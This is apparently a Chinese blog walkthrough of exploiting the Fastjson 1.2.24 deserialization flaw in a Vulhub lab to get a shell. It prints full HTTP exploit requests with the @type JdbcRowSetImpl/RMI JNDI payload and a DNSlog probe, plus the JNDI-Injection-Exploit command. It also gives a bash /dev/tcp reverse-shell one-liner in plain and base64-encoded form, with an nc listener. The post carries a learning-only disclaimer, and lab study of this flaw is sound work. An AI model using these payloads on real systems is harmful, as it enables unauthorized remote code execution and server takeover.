渗透测试-Fastjson反序列化漏洞getshell

目录

前言

测试环境准备

dnslog测试

搭建rmi服务器&准备恶意类

引用JdbcRowSetImpl攻击

[反弹shell命令执行](#反弹shell命令执行)

总结


关键字:fastjson 1.2.24反序列化导致任意命令执行漏洞

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。

前言

最原始的需求是将字符串传参解析成json格式的数据 ,但json库不满足现有的功能(很多包都有这样的特点,妙用之法)还支持把字符串解析成javabean;在解析成jacabean的时候内部一些get方法可能被调用。且Fastjson 库还可以通过 @type 注解自动推断出对象对应的具体类型,从而正确地将 JSON 字符串转换成 Java 对象。

示例、

java 复制代码
 String jsonString = "{\"@type\":\"json.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        JSONObject jsonObject = JSON.parseObject(jsonString);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getClass());

输出

然而在实际测试中,我发现不同的java类,fastjson库对其的处理方式还不同,就拿java.net.Inet4Address 这个类举例,{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} fastjson最终会调用java.net.Inet4Address类中getByName方法 ,而且传入的host就是val这个dnslog地址。

既然可以指定任意类实例化,而内部某些get方法可以调用,参数还控。 那这就可能引发一些安全上的问题。

本次测试利用fastjson反序列化漏洞,让目标主机执行命令反弹shell。

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络攻击他人服务器。

测试环境准备

本次以来采用容器平台Vulhub,到Ubuntu虚拟机中vulhub/fastjson/1.2.24-rce目录中执行命令启动漏洞容器:docker-compose up-d

访问站点

dnslog测试

像这个服务以post的方式,打一个dnslog。payload准备:

dnslog:{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

Content-Type: application/json //注意这个头要加上

请求内容payload 参考

POST / HTTP/1.1

Host: 192.168.218.134:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/json

Content-Length: 77

{"a":{"@type":"java.net.Inet4Address","val":"f6ac1ab5b7.ipv6.1433.eu.org.."}}

搭建rmi服务器&准备恶意类

1.本次采用JNDI-Injection-Exploit工具,直接一把梭哈。(下载地址:我也是在网上找到的)

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "xxxxxxxxxxxxxxxxxxxxxxxxxx" -A "192.168.218.1"

-C指定让目标主机执行的命令,-A为指定本地监听的IP

2.准备要执行的反弹shell命令

bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1

在实际的测试中,这条命令始终不成功无法反弹shell。我猜测可能在传输过程中有些字符被转码了。

解决方案:使用base64解码后以bash的方式执行。

将bash -i >& /dev/tcp/192.168.218.1/4444 0>&1 这样的命令base64编码放到下面的位置

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

在将这个命令被JNDI-Injection-Exploit工具 -C指定,生成rmi服务器。

3.nc在本机上监听4444端口,等待反弹shell的连接

引用JdbcRowSetImpl攻击

将生成rmi服务的地址放入到payload:dataSourceName值中

POST / HTTP/1.1

Host: 192.168.218.134:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/json

Content-Length: 77

{

"a":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://http://192.168.218.1:1099/nc78zv",

"autoCommit":true

}

}

把请求包打过去,观察JNDI-Injection-Exploit工具输出的信息

和预期的一直,当服务器请求这个rmi服务时,rmi会返回一个恶意类的网络路径。之后服务器请求这个路径下载试图实例化这个恶意类。log a request to http:......

反弹shell$命令执行

这时查看我们的nc是否反弹了shell

是否可以执行命令

总结

点点关注,纯手写。

相关推荐
微凉的衣柜3 分钟前
使用 VS Code 远程连接时解决 OpenSSL 版本不匹配及权限问题
服务器·vscode·ubuntu
爱编程的小金毛球球15 分钟前
-bash: /home/xxx/anaconda3/bin/conda: No such file or directory
linux·conda·bash
喵叔哟32 分钟前
重构代码之取消临时字段
java·前端·重构
单音GG1 小时前
推荐一个基于协程的C++(lua)游戏服务器
服务器·c++·游戏·lua
nnloveswc1 小时前
PTE-中间件安全
安全
冰水°1 小时前
3.1_文件上传漏洞
安全·网络安全·文件上传·条件竞争·.htaccess·文件上传绕过
还是大剑师兰特1 小时前
D3的竞品有哪些,D3的优势,D3和echarts的对比
前端·javascript·echarts
王解1 小时前
【深度解析】CSS工程化全攻略(1)
前端·css
一只小白菜~1 小时前
web浏览器环境下使用window.open()打开PDF文件不是预览,而是下载文件?
前端·javascript·pdf·windowopen预览pdf
方才coding1 小时前
1小时构建Vue3知识体系之vue的生命周期函数
前端·javascript·vue.js